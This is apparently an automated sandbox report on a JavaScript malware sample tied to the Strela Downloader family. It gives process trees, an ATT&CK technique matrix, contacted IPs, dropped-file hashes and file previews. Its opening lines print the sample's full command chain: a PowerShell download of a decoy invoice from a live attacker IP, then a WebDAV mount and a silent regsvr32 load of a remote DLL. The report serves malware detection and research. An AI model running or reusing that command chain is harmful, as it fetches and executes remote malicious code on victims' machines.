Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	2 Windows Management Instrumentation	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	41 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	42 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1936930021252095876.js	5%	Virustotal		Browse
1936930021252095876.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/F	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/j	net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2741698575.000001CB09600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1524375404.000001CB09450000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/F	net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/0	net.exe, 00000007.00000002.1523235410.00000245663C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1523235410.00000245663A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1523235410.00000245663F4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587698
Start date and time:	2025-01-10 17:06:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1936930021252095876.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 4.175.87.197, 52.165.164.15, 2.16.168.105, 2.16.168.107, 172.202.163.200, 20.242.39.171, 52.149.20.212, 2.22.50.131, 2.22.50.144, 34.237.241.83, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, glb.sls.prod.dcat.dsp.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, fe3.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:07:13	API Interceptor	22x Sleep call for process: powershell.exe modified
11:07:17	API Interceptor	1x Sleep call for process: net.exe modified
11:07:17	API Interceptor	2x Sleep call for process: svchost.exe modified
11:07:25	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	199.232.210.172
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021977426471948
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAp:RJE+Lfki1GjHwU/+vVhWqpA
MD5:	AAA3BCF8FB727D1FA884BCEABCED0C06
SHA1:	01D4F81D8BD427324A73468069A807136959D7DE
SHA-256:	E23028AEEEC0ABC1985210C7D08BA4900ED4294532557478292189D58D0D6809
SHA-512:	64692086F3BC5CCA931A7770359F82EDF7F8FADE163EB59771A66845CA11CAB472D34A72FCCE73F11682A6EE82EA9EEA784CBA2B9FBF3BAE094F8F8603124BE4
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf6d54216, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433118103933716
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	2C563CD308A47E9D6190FA4A300B43AE
SHA1:	BD4DD5A822B2604E5FB8164F22128F09D9243094
SHA-256:	4840BB3338CD4079212C9B81DBFB8A920477BAFCA68520AA056A45D6BD3CAF5A
SHA-512:	810A889609FA6F06CD23AC6484C8A1806A9886D4EF3292EFA418996351FB2D510C2E47798C198E26A9FC156070161F30EE911606534684DEE4AA9EA9AF3EEAFC
Malicious:	false
Preview:	..B.... ...............X\...;...{......................0.x...... ...{s......}I.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{....................................gh.....}.................E........}i..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08149157434445778
Encrypted:	false
SSDEEP:	3:cmll/EYeDokhJ6l/nqlFcl1ZUllllaL+hLqllGBnX/l/Tj/k7/t:XXEzDbJ6l/qlFclQ/lyMLe254
MD5:	17C43899AEBFF4537908247FC650D1D5
SHA1:	E7FF5F6527FDC897F289A95956FFDABCBD58C33B
SHA-256:	07563253CDC1F8FECA8CDF3F31E1B447D617D1B6ED5DFA8E6B78A71F7AAAA438
SHA-512:	AF2AE3112BEBB7A651BBE7CD4C2336A605F17EFBC773E7694429AD6BBCBED275DA6D3E5945DEFF97F08DE912FC5CEE9973F71ADF9DE46703163875C88FC20FCD
Malicious:	false
Preview:	...u.....................................;...{.......}i.. ...{s.......... ...{s.. ...{s.P.... ...{s.................E........}i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.157344528806669
Encrypted:	false
SSDEEP:	6:iO4VB+q2PCHhJ2nKuAl9OmbnIFUtSJAWZmwsJ3VkwOCHhJ2nKuAl9OmbjLJ:76B+vBHAahFUtZW/2V56HAaSJ
MD5:	256929D9530028B662EC53034FC2CF9B
SHA1:	5BDFEB4EF580033E1739B8C0A620F83F0B4D2CFE
SHA-256:	160282B6D82C316243CB96E09F7FDA9DE8EBEA583545964A85E6E6EF4917F3B4
SHA-512:	67810A2ECD2EC8641E964F77370A44694ACAC7477EA8840E968C664333D4AB13DA5C73C9CC11B800A42745F4BE62F6FAAB7684E95C14098C9C16144A0730B3EF
Malicious:	false
Preview:	2025/01/10-11:07:17.490 14cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:07:17.492 14cc Recovering log #3.2025/01/10-11:07:17.492 14cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.157344528806669
Encrypted:	false
SSDEEP:	6:iO4VB+q2PCHhJ2nKuAl9OmbnIFUtSJAWZmwsJ3VkwOCHhJ2nKuAl9OmbjLJ:76B+vBHAahFUtZW/2V56HAaSJ
MD5:	256929D9530028B662EC53034FC2CF9B
SHA1:	5BDFEB4EF580033E1739B8C0A620F83F0B4D2CFE
SHA-256:	160282B6D82C316243CB96E09F7FDA9DE8EBEA583545964A85E6E6EF4917F3B4
SHA-512:	67810A2ECD2EC8641E964F77370A44694ACAC7477EA8840E968C664333D4AB13DA5C73C9CC11B800A42745F4BE62F6FAAB7684E95C14098C9C16144A0730B3EF
Malicious:	false
Preview:	2025/01/10-11:07:17.490 14cc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:07:17.492 14cc Recovering log #3.2025/01/10-11:07:17.492 14cc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.139799659230937
Encrypted:	false
SSDEEP:	6:iO4sWk+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSsWSFKZmwssWrSVkwOCHhJ2nKuAl97:75N+vBHAa8uFUtLVFK/tDV56HAa8RJ
MD5:	0BEADDE728480B674CE440926AAABE07
SHA1:	BE7AD01F763C91731B93DBB8343BAE1081CCA76B
SHA-256:	290068C88833976AF400EEA07ABE5BA670550068DF399BD6461988B176A97972
SHA-512:	46EDF054B26B0C1637B2270C22DD5129D85C95B3FF08939F3BF86F1F5C71DF287E5AFDD7C8E5EFC68CC02AA4D4B2A37D50EDE2D216BA36BF60DAC0ED579919A2
Malicious:	false
Preview:	2025/01/10-11:07:17.536 172c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:07:17.537 172c Recovering log #3.2025/01/10-11:07:17.538 172c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.139799659230937
Encrypted:	false
SSDEEP:	6:iO4sWk+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSsWSFKZmwssWrSVkwOCHhJ2nKuAl97:75N+vBHAa8uFUtLVFK/tDV56HAa8RJ
MD5:	0BEADDE728480B674CE440926AAABE07
SHA1:	BE7AD01F763C91731B93DBB8343BAE1081CCA76B
SHA-256:	290068C88833976AF400EEA07ABE5BA670550068DF399BD6461988B176A97972
SHA-512:	46EDF054B26B0C1637B2270C22DD5129D85C95B3FF08939F3BF86F1F5C71DF287E5AFDD7C8E5EFC68CC02AA4D4B2A37D50EDE2D216BA36BF60DAC0ED579919A2
Malicious:	false
Preview:	2025/01/10-11:07:17.536 172c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:07:17.537 172c Recovering log #3.2025/01/10-11:07:17.538 172c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963960758889477
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxCksBdOg2HVcaq3QYiub6P7E4T3y:Y2sRdsQ0dMHU3QYhbS7nby
MD5:	188A5EDF28522A3B76C3413CE8B6256F
SHA1:	A07AC01174DD5A7DADE3953B52C184F9394AA7A8
SHA-256:	ED876FD543DCC93063278B74171E7598266D1E7BB4D30954AA318E4353332666
SHA-512:	C4B4C7E9CA8828B2D835C1D4DD7B66CB0EFAF4C2BA13E337C14D7D3E256CB21BA48ADC1D81A996C9421B32C295157087C093C637D238EA4D5F32DF0928DE695E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085249271285","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127988},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c77748f8-cd36-467b-a05a-04672c58ecda.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963960758889477
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxCksBdOg2HVcaq3QYiub6P7E4T3y:Y2sRdsQ0dMHU3QYhbS7nby
MD5:	188A5EDF28522A3B76C3413CE8B6256F
SHA1:	A07AC01174DD5A7DADE3953B52C184F9394AA7A8
SHA-256:	ED876FD543DCC93063278B74171E7598266D1E7BB4D30954AA318E4353332666
SHA-512:	C4B4C7E9CA8828B2D835C1D4DD7B66CB0EFAF4C2BA13E337C14D7D3E256CB21BA48ADC1D81A996C9421B32C295157087C093C637D238EA4D5F32DF0928DE695E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085249271285","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127988},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232343053372715
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bjn2huj:S43C4mS7fFi0KFYDjr3LWO3V3aw+bj26
MD5:	C720062EE75147D512686E1C0A5EA376
SHA1:	0FF41CEF0F608477464D75DBF70D5D53B7B733DA
SHA-256:	C295653ED4CF93044F87DE643E610AE1EBAD4092C92ECDA1D67C02CB444706FD
SHA-512:	2E310E3955C0F07A8046E711FDF912E1C5BAA202C0703F79CA1A8226E7996C1F436648838DB3BD8A9182BF9DB1679187E5AA0C8A289B0AE189950C7A1D63F856
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.108936828557504
Encrypted:	false
SSDEEP:	6:iO4uU0m+q2PCHhJ2nKuAl9OmbzNMxIFUtSus6XZmwsugmVkwOCHhJ2nKuAl9Ombg:7Lm+vBHAa8jFUtjX/RV56HAa84J
MD5:	0D9F9CD4122272008E5400FDAD89A257
SHA1:	0C9A3D1C5CC75247747BE08C3102B6B8150C18E0
SHA-256:	9A6B876E8A49B3C7F1A35C9B650395F3C43FD2FE260615F7287512A5697CC54D
SHA-512:	DA279553C4AE8E5E49DD696EBA6E15B027BA06F8702C9E5FEB746728E4B9D9EF581EF6A0AE0D1DA790790A58055CF2A880496C42EFA74A0215F4EF67A08FC3DE
Malicious:	false
Preview:	2025/01/10-11:07:17.719 172c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:07:17.721 172c Recovering log #3.2025/01/10-11:07:17.725 172c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.108936828557504
Encrypted:	false
SSDEEP:	6:iO4uU0m+q2PCHhJ2nKuAl9OmbzNMxIFUtSus6XZmwsugmVkwOCHhJ2nKuAl9Ombg:7Lm+vBHAa8jFUtjX/RV56HAa84J
MD5:	0D9F9CD4122272008E5400FDAD89A257
SHA1:	0C9A3D1C5CC75247747BE08C3102B6B8150C18E0
SHA-256:	9A6B876E8A49B3C7F1A35C9B650395F3C43FD2FE260615F7287512A5697CC54D
SHA-512:	DA279553C4AE8E5E49DD696EBA6E15B027BA06F8702C9E5FEB746728E4B9D9EF581EF6A0AE0D1DA790790A58055CF2A880496C42EFA74A0215F4EF67A08FC3DE
Malicious:	false
Preview:	2025/01/10-11:07:17.719 172c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:07:17.721 172c Recovering log #3.2025/01/10-11:07:17.725 172c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

